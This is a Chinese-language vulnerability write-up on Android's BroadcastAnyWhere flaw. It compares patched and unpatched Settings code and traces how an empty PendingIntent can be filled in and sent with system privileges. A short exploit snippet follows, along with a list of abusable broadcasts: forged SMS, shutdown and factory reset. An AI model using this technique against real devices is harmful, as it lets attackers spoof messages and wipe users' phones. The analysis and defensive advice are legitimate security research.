Android BroadcastAnyWhere(Google Bug 17356824)漏洞具体分析

作者:简行(又名 低端码农)

继上次Android的LaunchAnyWhere组件安全漏洞后,近期Google在Android 5.0的源代码上又修复了一个高危漏洞。该漏洞简直是LaunchAnyWhere的姊妹版——BroadcastAnyWhere。

通过这个漏洞,攻击者能够以system用户的身份发送广播。这意味着攻击者能够无视一切的BroadcastReceiver组件訪问限制。并且该漏洞影响范围极广。Android 2.0+至4.4.x都受影响。

漏洞分析

修复前后代码对照

BroadcastAnyWhere跟LaunchAnyWhere的利用原理很相似,两者都利用了Setting的uid是system进程高权限操作。

漏洞相同发生在Setting的加入帐户的流程上,该流程具体见《Android LaunchAnyWhere (Google Bug 7699048)漏洞具体解释及防御措施》一文。而BroadcastAnyWhere漏洞则发生在这个流程之前。在分析漏洞之前。 我们先来看看漏洞修复的前后对照。具体代码在AddAccountSetting的addAccount方法。

修复前代码中下:

 ...
private static final String KEY_CALLER_IDENTITY = "pendingIntent";
... private void addAccount(String accountType) {
Bundle addAccountOptions = new Bundle();
mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);
addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));
AccountManager.get(this).addAccount(
accountType,
null, /* authTokenType */
null, /* requiredFeatures */
addAccountOptions,
null,
mCallback,
null /* handler */);
mAddAccountCalled = true;
}

修复后代码例如以下

...
private static final String KEY_CALLER_IDENTITY = "pendingIntent";
private static final String SHOULD_NOT_RESOLVE = "SHOULDN'T RESOLVE!";
... private void addAccount(String accountType) { Bundle addAccountOptions = new Bundle(); /*
* The identityIntent is for the purposes of establishing the identity
* of the caller and isn't intended for launching activities, services
* or broadcasts.
*
* Unfortunately for legacy reasons we still need to support this. But
* we can cripple the intent so that 3rd party authenticators can't
* fill in addressing information and launch arbitrary actions.
*/
Intent identityIntent = new Intent();
identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE));
identityIntent.setAction(SHOULD_NOT_RESOLVE);
identityIntent.addCategory(SHOULD_NOT_RESOLVE); mPendingIntent = PendingIntent.getBroadcast(this, 0, identityIntent, 0);
addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));
AccountManager.get(this).addAccountAsUser(
accountType,
null, /* authTokenType */
null, /* requiredFeatures */
addAccountOptions,
null,
mCallback,
null /* handler */,
mUserHandle);
mAddAccountCalled = true;
}

mPenddingIntent的作用主要是作为身份识别用的。

通过前后对照。修复方案就是把放入mPendingIntent的intent。由原来简单的new Intent()改为事先经过一系列填充的identityIntent。这样做,就能够防止第三方的Authenticator(主要是针对木马)进行二次填充。后面会具体介绍。

注意PendingIntent.getBroadcast调用的參加中,在修复前传入的是一个"空"的Intent对象,这对后面的分析很关键。

PeddingIntent的实现原理

通过上面代码对照分析。假设你已经对PeddingIntent的实现细节比較清楚的话,那么这节的内容能够跳过。在PenddingIntent.java源文件里,有这么一段说明:

/**
* ...
* ...
* <p>By giving a PendingIntent to another application,
* you are granting it the right to perform the operation you have specified
* as if the other application was yourself (with the same permissions and
* identity). As such, you should be careful about how you build the PendingIntent:
* almost always, for example, the base Intent you supply should have the component
* name explicitly set to one of your own components, to ensure it is ultimately
* sent there and nowhere else.
*
* <p>A PendingIntent itself is simply a reference to a token maintained by
* the system describing the original data used to retrieve it. This means
* that, even if its owning application's process is killed, the
* PendingIntent itself will remain usable from other processes that
* have been given it. If the creating application later re-retrieves the
* same kind of PendingIntent (same operation, same Intent action, data,
* categories, and components, and same flags), it will receive a PendingIntent
* representing the same token if that is still valid, and can thus call
* {@link #cancel} to remove it.
* ...
* ...
*/

简单来说。就是指PenddingIntent对象能够按预先指定的动作进行触发。当这个对象传递(通过binder)到其它进程(不同uid的用户),其它进程利用这个PenddingInten对象,能够原进程的身份权限运行指定的触发动作。这有点相似于Linux上suid或guid的效果。另外,因为触发的动作是由系统进程运行的,因此哪怕原进程已经不存在了,PenddingIntent对象上的触发动作依旧有效。

PeddingIntent是一个Parcelable对象。包括了一个叫名mTarget成员,类型是。这个字段事实上是个BinerProxy对象,真正的实现逻辑在PenddingIntentRecored.java。从源代码分析可知。PendingIntent.getBroadcast终于调用的是ActivityManagerService中的getIntentSender方法。关键代码例如以下:

public IIntentSender getIntentSender(int type, String packageName, IBinder token, String resultWho, int requestCode, Intent[] intents, String[] resolvedTypes, int flags, Bundle options, int userId) {

    enforceNotIsolatedCaller("getIntentSender");
...
...
synchronized(this) {
int callingUid = Binder.getCallingUid();
int origUserId = userId;
userId = handleIncomingUser(Binder.getCallingPid(), callingUid, userId,
type == ActivityManager.INTENT_SENDER_BROADCAST, false,
"getIntentSender", null);
...
... return getIntentSenderLocked(type, packageName, callingUid, userId, token, resultWho, requestCode, intents, resolvedTypes, flags, options); } catch (RemoteException e) {
throw new SecurityException(e);
}
}
}
IIntentSender getIntentSenderLocked(int type, String packageName, int callingUid, int userId, IBinder token, String resultWho, int requestCode, Intent[] intents, String[] resolvedTypes, int flags, Bundle options) { if (DEBUG_MU)
Slog.v(TAG_MU, "getIntentSenderLocked(): uid=" + callingUid);
ActivityRecord activity = null; ...
... PendingIntentRecord.Key key = new PendingIntentRecord.Key(type, packageName, activity, resultWho, requestCode, intents, resolvedTypes, flags, options, userId); //依据调用者的信息,生成PendingIntentRecord.Key对象 WeakReference<PendingIntentRecord> ref;
ref = mIntentSenderRecords.get(key);
PendingIntentRecord rec = ref != null ? ref.get() : null;
...
... rec = new PendingIntentRecord(this, key, callingUid); //最后生成PendingIntentRecord对象
mIntentSenderRecords.put(key, rec.ref); //保存
...
return rec; //并返回
}

总结一下这个过程。就是AMS会把生成PenddingIntent的进程(Caller)信息保存到PendingIntentRecord.Key。并为其维护一个PendingIntentRecord对象,这个对象是一个BinderStub。

PendingIntent提供了一系列的send方法进行动作触发。终于是调用PendingIntentRecord的send方法,我们直接分析这里的代码:

public int send(int code, Intent intent, String resolvedType,
IIntentReceiver finishedReceiver, String requiredPermission) {
return sendInner(code, intent, resolvedType, finishedReceiver,
requiredPermission, null, null, 0, 0, 0, null);
}

跟进去:

int sendInner(int code, Intent intent, String resolvedType,
IIntentReceiver finishedReceiver, String requiredPermission,
IBinder resultTo, String resultWho, int requestCode,
int flagsMask, int flagsValues, Bundle options) { synchronized(owner) {
if (!canceled) {
sent = true;
if ((key.flags&PendingIntent.FLAG_ONE_SHOT) != 0) {
owner.cancelIntentSenderLocked(this, true);
canceled = true;
}
Intent finalIntent = key.requestIntent != null
? new Intent(key.requestIntent) : new Intent();
if (intent != null) {
int changes = finalIntent.fillIn(intent, key.flags); //用传进来的intent进行填充finalIntent
if ((changes&Intent.FILL_IN_DATA) == 0) {
resolvedType = key.requestResolvedType;
}
} else {
resolvedType = key.requestResolvedType;
} ...
... switch (key.type) {
...
case ActivityManager.INTENT_SENDER_BROADCAST:
try {
// If a completion callback has been requested, require
// that the broadcast be delivered synchronously
owner.broadcastIntentInPackage(key.packageName, uid,
finalIntent, resolvedType,
finishedReceiver, code, null, null,
requiredPermission, (finishedReceiver != null), false, userId);
sendFinish = false;
} catch (RuntimeException e) {
Slog.w(ActivityManagerService.TAG,
"Unable to send startActivity intent", e);
}
break;
...
} ... return 0;
}
}
return ActivityManager.START_CANCELED;

针对该漏洞我们仅仅分析broadcast这个分支的逻辑就可以。这里发现。会用send传进来的intent对finalIntent进行填充。通过前面的代码分析得到。这里的finalInent是一个“空”的intent。即mAction, mData,mType等等全为null,这使得差点儿能够任意指定finalIntent的内容。见fillIn的代码:

public int fillIn(Intent other, int flags) {
int changes = 0;
if (other.mAction != null
&& (mAction == null || (flags&FILL_IN_ACTION) != 0)) {
mAction = other.mAction;
changes |= FILL_IN_ACTION;
}
if ((other.mData != null || other.mType != null)
&& ((mData == null && mType == null)
|| (flags&FILL_IN_DATA) != 0)) {
mData = other.mData;
mType = other.mType;
changes |= FILL_IN_DATA;
}
if (other.mCategories != null
&& (mCategories == null || (flags&FILL_IN_CATEGORIES) != 0)) {
if (other.mCategories != null) {
mCategories = new ArraySet<String>(other.mCategories);
}
changes |= FILL_IN_CATEGORIES;
}
if (other.mPackage != null
&& (mPackage == null || (flags&FILL_IN_PACKAGE) != 0)) {
// Only do this if mSelector is not set.
if (mSelector == null) {
mPackage = other.mPackage;
changes |= FILL_IN_PACKAGE;
}
}
// Selector is special: it can only be set if explicitly allowed,
// for the same reason as the component name.
if (other.mSelector != null && (flags&FILL_IN_SELECTOR) != 0) {
if (mPackage == null) {
mSelector = new Intent(other.mSelector);
mPackage = null;
changes |= FILL_IN_SELECTOR;
}
}
if (other.mClipData != null
&& (mClipData == null || (flags&FILL_IN_CLIP_DATA) != 0)) {
mClipData = other.mClipData;
changes |= FILL_IN_CLIP_DATA;
}
// Component is special: it can -only- be set if explicitly allowed,
// since otherwise the sender could force the intent somewhere the
// originator didn't intend.
if (other.mComponent != null && (flags&FILL_IN_COMPONENT) != 0) {
mComponent = other.mComponent;
changes |= FILL_IN_COMPONENT;
}
mFlags |= other.mFlags;
if (other.mSourceBounds != null
&& (mSourceBounds == null || (flags&FILL_IN_SOURCE_BOUNDS) != 0)) {
mSourceBounds = new Rect(other.mSourceBounds);
changes |= FILL_IN_SOURCE_BOUNDS;
}
if (mExtras == null) {
if (other.mExtras != null) {
mExtras = new Bundle(other.mExtras);
}
} else if (other.mExtras != null) {
try {
Bundle newb = new Bundle(other.mExtras);
newb.putAll(mExtras);
mExtras = newb;
} catch (RuntimeException e) {
// Modifying the extras can cause us to unparcel the contents
// of the bundle, and if we do this in the system process that
// may fail. We really should handle this (i.e., the Bundle
// impl shouldn't be on top of a plain map), but for now just
// ignore it and keep the original contents. :(
Log.w("Intent", "Failure filling in extras", e);
}
}
return changes;
}

从上面代码得知,我们能够任意指定除了mComponent之外的全部字段,这已经能够满足大部分的使用情景了。

漏洞利用和危害

有了前面分析,漏洞复用代码就很easy了。这里一个是发送系统开机广播的样例:

// the exploit of broadcastAnyWhere
final String KEY_CALLER_IDENTITY = "pendingIntent";
PendingIntent pendingintent = options.getParcelable(KEY_CALLER_IDENTITY);
Intent intent_for_broadcast = new Intent("android.intent.action.BOOT_COMPLETED");
intent_for_broadcast.putExtra("info", "I am bad boy"); try {
pendingintent.send(mContext, 0, intent_for_broadcast);
} catch (CanceledException e) {
e.printStackTrace();
}

事实上可利用的广播实在太多了。再比方:

  • 发送android.provider.Telephony.SMS_DELIVER能够伪造接收短信。
  • 发送android.intent.action.ACTION_SHUTDOWN能够直接关机。
  • 发送com.google.android.c2dm.intent.RECEIVE广播,设备将恢复至出厂设置。
  • 等等

攻击者通过漏洞能够伪造亲朋好友或者银行电商的短信。跟正常的短信全然无异。普通用户根本无法甄别。

除了伪造短信外,攻击者能够利用该漏洞恢复出厂设置,对对用户进行威胁等等。

ComponentSuperAccessor

结合LuanchAynWhere和BroadcastAnyWhere两个漏洞,我适当的封装了一下。实现了一个ComponentSuperAccessor的库,有兴趣的朋友能够到https://github.com/boyliang/ComponentSuperAccessor.git下载。

阿里移动安全专家建议

  • 对于开发人员。PenddingIntent尽可能不要跨进程传递。避免权限泄漏。或者尽量把PendingIntent中的字段都填充满,避免被恶意重定向。
  • 对于用户和厂商,尽快升级到Android L;

Android BroadcastAnyWhere(Google Bug 17356824)漏洞具体分析的更多相关文章

  1. Android LaunchAnyWhere (Google Bug 7699048)漏洞具体解释及防御措施

    開始 近日,Google修复一个组件安全的漏洞LaunchAnyWhere(Google Bug 7699048). 这个漏洞属于Intend Based提取漏洞,攻击者利用这个漏洞,能够突破了应用间 ...

  2. Google发布SSLv3漏洞简要分析报告

    今天上午,Google发布了一份关于SSLv3漏洞的简要分析报告.根据Google的说法,该漏洞贯穿于所有的SSLv3版本中,利用该漏洞,黑客可以通过中间人攻击等类似的方式(只要劫持到的数据加密两端均 ...

  3. Android电话拨打权限绕过漏洞(CVE-2013-6272)分析

    原文:http://blogs.360.cn/360mobile/2014/07/08/cve-2013-6272/ 1. CVE-2013-6272漏洞背景 CVE-2013-6272是一个安卓平台 ...

  4. broadAnywhere:Broadcast组件权限绕过漏洞(Bug: 17356824)

    原创内容,转载请注明出处 http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html Lolipop源代码已经放出有些日 ...

  5. Android“寄生兽”漏洞技术分析

    一.关于app的缓存代码 安卓的应用程序apk文件是zip压缩格式的文件,apk文件中包含的classes.dex文件相当于app的可执行文件,当app运行后系统会对classes.dex进行优化,生 ...

  6. CVE-2015-3864漏洞利用分析(exploit_from_google)

    title: CVE-2015-3864漏洞利用分析(exploit_from_google) author: hac425 tags: CVE-2015-3864 文件格式漏洞 categories ...

  7. Android:你不知道的 WebView 使用漏洞

    前言 如今非常多App里都内置了Web网页(Hyprid App),比方说非常多电商平台.淘宝.京东.聚划算等等.例如以下图 上述功能是由 Android的WebView 实现的.可是 WebView ...

  8. 蓝牙App漏洞系列分析之一CVE-2017-0601

    蓝牙App漏洞系列分析之一CVE-2017-0601 0x01 概要 2017年5月的 Android 安全公告修复了我们提交的一个蓝牙提权中危漏洞,这个漏洞尽管简单,但比较有意思,能够使本地恶意 A ...

  9. 蓝牙App漏洞系列分析之二CVE-2017-0639

    蓝牙App漏洞系列分析之二CVE-2017-0639 0x01 漏洞简介 Android本月的安全公告,修复了我们发现的另一个蓝牙App信息泄露漏洞,该漏洞允许攻击者获取 bluetooth用户所拥有 ...

随机推荐

  1. python manage.py syncdb报错:No module named MySQLdb

    今天同步数据时出现这个错误: 解决方法: 1.先下载mysql-python 支持1.2.3-2.7版本 MySQL-python 1.2.3 for Windows and Python 2.7, ...

  2. js中获取class封装

    1.封装 //封装getClass function getClass(tagName,className) //获得标签名为tagName,类名className的元素 { if(document. ...

  3. 【译】x86程序员手册23-6.5组合页与段保护

    6.5 Combining Page and Segment Protection 组合页与段保护 When paging is enabled, the 80386 first evaluates ...

  4. Java_大数值_16.5.12

    如果基本的整数和浮点数精度不能满足要求,那么可以使用java.math包中的BigInteger和BigDecimal这两个类.这两个类可以处理包含任意长度数字序列的数值.BigInteger类实现了 ...

  5. Jmeter常用的逻辑控制器

    一.ForEach控制器 作用:ForEach Controlle一般和用户自定义变量(User Defined Variables)一起使用,其在用户自定义变量中读取一系列相关的变量.每一个线程下执 ...

  6. js实现汉字中文排序的方法 例如:省市列表的排序

    localeCompare() 1.数组内的元素是中文字符串的简单排序 var arr = ['南京', '北京', '上海', '杭州', '深圳']; function sortChinese ( ...

  7. C语言scanf函数详细解释(转载)

    原文地址:https://blog.csdn.net/21aspnet/article/details/174326 scanf 函数名: scanf 功 能: 执行格式化输入 用 法: int sc ...

  8. Android写入到mysql里的中文总是乱码?

    中文编码的问题总是让人头疼,之前在python爬虫就折腾得死去活来,现在写app又是这样. 总结下来,就是三点吧: 数据库: 确定字符编码是utf8, collate: utf8_general_ci ...

  9. Python学习——字典

    字典 字典是另一种可变容器模型,且可存储任意类型对象. 1.创建字典 字典由键和对应值成对组成.每个键与值之间用:隔开,每对之间逗号隔开. 每个键应当互不相同,值可以相同.若同时出现两个相同的键,则后 ...

  10. scanf与getchar

    如下: 5  5 R  R  R  R  R R  R  R  R  R R  R  R  R  R R  R  R  R  R R  R  R  R  R 只允许用scanf,如何写读取函数. 由于 ...